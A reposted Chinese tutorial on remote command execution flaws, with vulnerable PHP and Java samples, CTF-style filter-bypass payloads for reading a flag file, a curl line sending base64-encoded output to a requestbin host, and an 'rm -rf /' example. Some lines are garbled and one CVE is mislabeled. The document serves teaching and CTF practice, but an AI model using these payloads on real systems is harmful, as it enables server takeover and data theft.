远程命令执行漏洞原理,以及防护绕过方式

news2025/6/19 20:50:45

一、背景

RCE(Remote Command /Code Execute) 远程代码执行漏洞
通过PHP代码注入、Java代码注入等方式连接程序中预留的后门或接口从而进行远程命令执行,达到对服务器的控制。
为什么会出现远程代码执行漏洞呢?
Web应用有时需要调用执行一些系统命令函数,比如:用户想通过Web页面输入命令,测试系统与www.xxx.com是否可以正常连接,那么Web应用底层就可能去调用系统操作命令“ping”,如果此处Web程序没有过滤好用户输入的命令时,就很可能会形成系统命令执行漏洞。

远程管理工具需要执行系统命令:我们通常使用远程管理工具链接服务器进行服务器远程管理和控制服务器的软件。如果这些工具存在漏洞,那么攻击者可以利用它来执行一些远程命令并获取对目标系统的控制权。

二、远程命令执行原理

2.1 如果没有进行过滤的远端命令执行

远程命令执行,指用户通过浏览器或者远程攻击提交执行命令,由于服务器端,没有针对执行函数做过滤,就执行了恶意命令。
比如Java代码,我们来演示一下远程代码执行漏洞:

import java.io.IOException;
import java.util.Scanner;
public class CommandRunner {
    public static void main(String[] args) throws IOException {
        Scanner scanner = new Scanner(System.in);
        String command = scanner.nextLine();
        Runtime.getRuntime().exec(command); // 潜在的远程代码执行漏洞
    }
}

上述代码中,程序使用Scanner类获取用户输入的命令,并使用Runtime类的exec()方法来执行该命令。然而,这里存在一个潜在的远程代码执行漏洞。如果应用程序没有对用户输入进行正确的验证和过滤,攻击者可以通过输入恶意命令来执行任意代码。

举个例子,如果用户输入ls -a,程序将执行ls -a命令来列出目录中的所有文件和文件夹。然而,如果用户输入的是rm -rf /,则相当于执行了一个删除操作,可能导致系统数据的丢失。

在Web端比较常见的PHP语言开发的系统中,如果使用了PHP的危险函数和语句(system、exec、shell_exec、passthru、popen、``、eval、assert、preg_replace、call_user_func、array_map、动态函数)经过构造后可以用字符串或是PHP代码执行系统命令的特性,从而调用这些函数实现远程代码执行,达到对服务器的控制。

2.2 对过滤进行绕过

此时我们就要参考进行命令替换了,首先我们先认识一下多个命令执行的逻辑,以Linux系统为例如下图:

符号例子解释
;A;B无论A执行成功与否都会执行B
&A&BA后台执行;A、B同时执行
&&A&&BA执行成功后才能执行B

在这里插入图片描述
其次Linux中查看和执行的命令
在这里插入图片描述
常见的查看命令
在这里插入图片描述

如果关键字符串被拦截,应该怎么绕过呢?
空格被过滤
%09(tab键的URL编码) ${IFS} 替换空格键

过滤字符串
可使用通配符 *(任意长度的字符串) ?(替换一个字符) []
比如我们要查看flag文件,我们可以使用如下绕过方式,但是过滤了flag字符串:
cat [e-g]lag
cat *lag
cat ?lag

过滤分号
; | || & &&

过滤cat
tac nl more …

过滤空格
%09(tab键url编码)${IFS} $IFS$9 <

过滤字符串
通配符
f* fla? [e-g]la[a-g]
插入符号
fl’'ag fl""ag f\lag
或者使用base64编码
Y2F0IGZsYWcucGhw就是用base64加密的cat flag.php
cat通过Base64编码需要执行
echo$IFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhwbase64IFS$1-d|sh

三、远程命令执行例子

接下来我们通过PHP函数,来演示存在的远程命令执行漏洞

3.1 无任何过滤的远程执行函数

<?php
if(isset($_GET['c'])){
	$c=$_GET['c'];
     system($c)
     }
?>

该实例无任何拦截,可以执行任何通过url传入的Linux命令

3.2 执行结果无返回

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

分析 主要是 可以构造c命令,但是使用的是system命令,但是注意 如果直接构造?c=ls 就会构造成 ls>/dev/null 2>&1 表示命令执行将结果不显示,怎么办呢?构造命令执行 ?c=ls;pwd 就会构造成 ls;pwd>/dev/null 2>&1 即将pwd结果扔进垃圾桶,ls正常执行和回显

3.3 过滤特殊字符

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里面主要对输入命令c进行了过滤,不能存在分号;(可以使用||分割命令,或者使用&(url中传入命令执行需要将&转义URLEncode%26))和cat(可以使用tac或者使用ca\t 等等) ,其余原理同上题?c=ls||pwd 命令查询所有文件,然后不能用cat 可以使用tac 倒叙查看flag.php 文件


<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }else{
        echo 'error!';
    }
}else{
    highlight_file(__FILE__);
}

原理同上,不过这里面过滤了flag关键字,使用tac flag.php将会不执行,可以使用通配符 tac fla*.php

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

原理同上,这里增加过滤了空格 可以使用$IFS$9 进行代替

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上,这里面增加了数字和$不能过滤和*通配符(可以用?通配符),c=tac<>?lag.php||pwd 使用了绕过

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "
".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

这道题过滤关键字特别多?c=ca\t{$IFS}fl?g.php 通过这样的命令进行绕过,因为他没有将结果扔进黑洞,所以不需要命令连接符

这是一道pikachu靶场提供了测试域名/IP的 Ping 功能(命令执行漏洞模块),通过信息收集,我们得知其对命令的过滤条件
/?ip=
PING 1.1.1.1 (1.1.1.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}
?>

通过代码分析发现对通配符和空格编码进行了过滤,并且"/.*f.*l.a.g./"这种正则匹配对直接构造flag以及使用通配符都无效,因为对也进行了过滤,我们可以采用变量命名方式,构造两个变量 a和b,如:?ip=1.1.1.1;b=ag;a=fl;cat$IFS 9 9 9a$b.php

3.4 执行命令没有回显

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    exec($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

这里函数使用的exec进行远程命令执行,这个执行结果是没有回显,如果要读取特定文件flag,怎么办?考虑将结果写入另一个文件,然后单独访问这个文件,首先是这个系统是有写入权限的,或者外带数据。
比如写入另一个文件中,操作如下执行 cat flag.php > 123.txt 即可将结果写入123.txt文件中,然后通过 ?c=ls > 123.txt 即将结果写入道123.txt文件中,然后反问123.txt即可获取内容。
比如使用外带 通过https://requestbin.net/这个外带平台,但是get传参数会有长度限制?c=curl http://http.requestbin.buuoj.cn/xxx?c=ls|sed -n "1,5p"|base64 将结果显示只显示1~5行然后通过base64编码结果

四、典型案例

远程命令执行的漏洞危害特别大,已进行暴露出来的远程执行漏洞,比如:
log4j命令执行(CVE-2017-5645): 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,从而危及服务器的安全。

pache Struts漏洞(CVE-2017-5638):这是一个非常著名的RCE漏洞案例,影响了Apache Struts框架。攻击者可以通过发送恶意的HTTP请求利用该漏洞,执行任意代码并获取服务器的控制权。这个漏洞被广泛利用,导致了多个大规模数据泄露事件。

Microsoft Windows SMB漏洞(MS17-010):这是一个影响微软Windows操作系统的RCE漏洞。攻击者可以通过发送特制的SMB请求,利用该漏洞在远程系统上执行任意代码。这个漏洞被用于传播WannaCry勒索软件,造成了全球范围内的大规模攻击和数据损失。

Drupal漏洞(CVE-2018-7600):这是一个影响Drupal内容管理系统的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞执行任意代码,并获取网站服务器的控制权。这个漏洞被广泛利用,导致了许多Drupal网站被入侵和操纵。

Apache Tomcat漏洞(CVE-2020-1938):这是一个影响Apache Tomcat服务器的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞执行任意代码,并获取服务器的控制权。这个漏洞被称为“Ghostcat”,影响了许多Tomcat服务器。

Jenkins漏洞(CVE-2018-1000861):这是一个影响Jenkins持续集成工具的RCE漏洞。攻击者可以通过发送特制的请求,利用该漏洞在受影响的Jenkins服务器上执行任意代码。这个漏洞被广泛利用,导致了许多Jenkins服务器被入侵和滥用。

五、总结

今天分享了远程执行指令的原理和如何进行远程执行指令漏洞的利用和绕过方法,远程命令执行的漏洞危害性特别大,攻击者可以利用远程命令执行漏洞给运营团队带来如下一些危害:继承Web服务程序的权限去执行系统命令或读写文件、反弹shell、控制整个网站甚至服务器、进一步内网渗透。在防御的过程我们可以通过加强对用户输入的验证:比如限制输入内容,其次,采用最小权限原则,将程序运行权限限制在最低限度。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1232805.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PySide6 Tutorials (一)表格小部件魔改

前言 Pyside6官方教程给了一个使用表格显示颜色的教程&#xff0c;原教程地址如下&#xff1a;源地址&#xff0c; 结合前面button信号的学习&#xff0c;就魔改添加了如下功能&#xff1a;增加一列按钮&#xff0c;可以修改该行的颜色值&#xff0c;通过点击按钮生成指定的颜…

Vue中Slot的使用指南

目录 前言 什么是slot&#xff1f; 单个slot的使用 具名slot的使用 作用域插槽 总结 前言 在Vue中&#xff0c;slot是一种非常强大和灵活的功能&#xff0c;它允许你在组件模板中预留出一个或多个"插槽"&#xff0c;然后在使用这个组件的时候动态地填充内容。这…

.skip() 和 .only() 的使用

.skip() 和 .only() 的使用 说明 在做自动化测试中&#xff0c;跳过执行某些测试用例&#xff0c;或只运行某些指定的测试用例&#xff0c;这种情况是很常见的Cypress中也提供了这种功能 如何跳过测试用例 通过describe.skip() 或者 context.skip() 来跳过不需要执行的测试…

如何解决requests库自动确定认证arded 类型

requests 库是一种非常强大的爬虫工具,可以用于快速构建高效和稳定的网络爬虫程序。对于经常使用爬虫IP用来网站爬虫反爬策略的我来说&#xff0c;下面遇到的问题应当值得我们思考一番。 问题背景 在使用requests库进行网络请求时&#xff0c;有时会遇到需要对目标服务进行认证…

人工智能基础_机器学习044_使用逻辑回归模型计算逻辑回归概率_以及_逻辑回归代码实现与手动计算概率对比---人工智能工作笔记0084

上面我们已经把逻辑回归的公式,以及,公式对应的图形都画画出来了,然后我们再来看看 如何用代码实现 可以看到上面是代码,咱们自己去写一下 import numpy as np from sklearn.linear_model import LogistieRegression from sklearn import datasets # 训练数据和测试数据拆分…

系列十三、分支合并框架

一、概述 Fork&#xff1a;把一个复杂任务进行分拆&#xff0c;大事化小&#xff0c;Join&#xff1a;把分拆任务的结果进行合并 二、相关类 2.1、ForkJoinPool 分支合并池&#xff0c;类比线程池。 2.2、ForkJoinTask ForkJoinTask&#xff0c;类比 FutureTask。 2.3、Recur…

FTX的前世今生:崛起、辉煌与崩塌

FTX&#xff0c;一度被誉为加密货币领域的明星交易所&#xff0c;其快速的崛起和令人瞩目的崩塌吸引了全球的关注。让我们回顾一下FTX的前世今生&#xff0c;了解其短暂的辉煌和骤然的崩塌。 1. 崛起&#xff1a; FTX的创始人山姆班克曼-弗里德在加密货币领域具有深厚的背景和…

Java Swing实现员工工资管理系统(含教程) 可带数据库 Java课程设计

7. 员工工资管理系统 视频教程&#xff1a; 【课程设计】员工工资管理系统-Java Swing-你的课程我设计 功能描述&#xff1a; 系统员工有"工号"、 “姓名”、“性别”、“岗位”、 "入职年份 "、"密码"等属性&#xff1b; 员工使用工号密码登录…

纯CSS实现炫酷文本时钟

如图所示这是一个纯本文时钟效果,和传统的时钟不一样,没有表盘,也没有完整到每一分钟的数字表示当前时刻。 在这个时钟中,当前时间通过文本显示,显示的文本时间误差为+/- 4分钟,以明亮的颜色突出显示当前时间,而其余字母则较暗。 实际上这是一个实现很复杂的时钟,因为…

国产低功耗Sub-1G全频段收发一体芯片DP4306遥控器、智能抄表、工业控制等应用。

国产低功耗Sub-1G全频段收发一体芯片DP4306遥控器、智能抄表、工业控制等应用。 DP4306芯片是一款高性能低功耗的单片集成收发机&#xff0c;工作频率可覆盖 200MHz~1000MHz&#xff0c;芯片集成了射频接收器、射频发射器、频率综合器、GFSK 调制器、GFSK 解调器等功能模块。通…

各类Linux操作系统如何选择?

各类Linux操作系统如何选择&#xff1f; 企业级应用&#xff1a;RHEL/CentOS 桌面平台&#xff1a;Ubuntu 开源服务器&#xff1a;CentOS 1.1 RedHart 1.1.1RHEL RHEL是指Red Hat Enterprise Linux&#xff0c;是由Red Hat公司开发和维护的一款商业Linux操作系统。它是基于…

一整个分析模型库,大数据分析工具都这么玩了吗?

一整个分析模型库&#xff0c;100张BI报表&#xff0c;覆盖销售、财务、采购、库存等多个分析主题。只需对接ERP&#xff0c;就能自动生成BI报表&#xff0c;完成对海量数据的系统化分析。现在大数据分析工具都发展到这种程度了吗&#xff1f; 放眼看去&#xff0c;现阶段能做…

GitLab的个人仓库转移到团队仓库

文章目录 一、Gitlab权限二、转移2.1、编辑个人仓库2.2、Transfer project2.3、切换Namespace2.4、确认修改 一、Gitlab权限 Gitlab用户在组中有五种权限&#xff1a;Guest、Reporter、Developer、Master、Owner Guest&#xff1a;可以创建issue、发表评论&#xff0c;不能读写…

Day01 嵌入式 -----流水灯

一、简单介绍 嵌入式系统中的流水灯是一种常见的示例项目&#xff0c;通常用于演示嵌入式系统的基本功能和控制能力。流水灯由多个发光二极管&#xff08;LED&#xff09;组成&#xff0c;这些LED按照一定的顺序依次点亮和熄灭&#xff0c;形成一种像水流一样的流动效果。 二、…

软件测试/测试开发/人工智能丨​Python运算符解析,小白也能轻松get

什么是运算符 运算符是用于进行各种运算操作的符号或关键词。 在数学和计算机编程中&#xff0c;运算符被用来表示不同的运算操作&#xff0c;例如加法、减法、乘法、除法等。 比如: 4 5&#xff0c;其中&#xff0c;4和5为操作数&#xff0c;为运算符。a 10&#xff0c;…

印刷企业实施MES管理系统需要哪些硬件设施

随着科技的飞速发展&#xff0c;印刷行业正面临着前所未有的挑战和机遇。为了提高生产效率&#xff0c;降低成本&#xff0c;并增强市场竞争力&#xff0c;越来越多的印刷企业开始实施制造执行系统&#xff08;MES&#xff09;管理系统。本文将重点讨论印刷企业在实施MES管理系…

FFmpeg常用命令行讲解及实战一

文章目录 前言一、学习资料参考二、FFmpeg 选项1、主要选项①、主要命令选项②、举例 2、视频选项①、主要命令选项②、举例1&#xff09;提取固定帧2&#xff09;禁止输出视频3&#xff09;指定视频的纵横比 3、音频选项①、主要命令选项②、举例 4、字幕选项①、主要命令选项…

基于 Glibc 版本升级的 DolphinDB 数据查询性能优化实践

在高并发查询、查询需要涉及很多个分区的情况下&#xff0c;低版本的 glibc&#xff08;低于2.23&#xff09;会严重影响查询性能。需要升级 glibc 解决该问题优化性能。我们撰写了本文&#xff0c;通过 patchelf 工具修改可执行文件和动态库的 rpath&#xff0c;达到无需升级系…

抖音如何推广引流?抖音推广引流的经验与工具分享

先来看实操成果&#xff0c;↑↑需要的同学可看我名字↖↖↖↖↖&#xff0c;或评论888无偿分享 一、了解抖音推广的价值 抖音作为一款热门的短视频应用&#xff0c;拥有庞大的用户群体和强大的传播力。通过抖音推广&#xff0c;企业或个人可以在短时间内获得大量的曝光和流量&…

基于可变形卷积和注意力机制的带钢表面缺陷快速检测网络DCAM-Net(论文阅读笔记)

原论文链接->DCAM-Net: A Rapid Detection Network for Strip Steel Surface Defects Based on Deformable Convolution and Attention Mechanism | IEEE Journals & Magazine | IEEE Xplore DCAM-Net: A Rapid Detection Network for Strip Steel Surface Defects Base…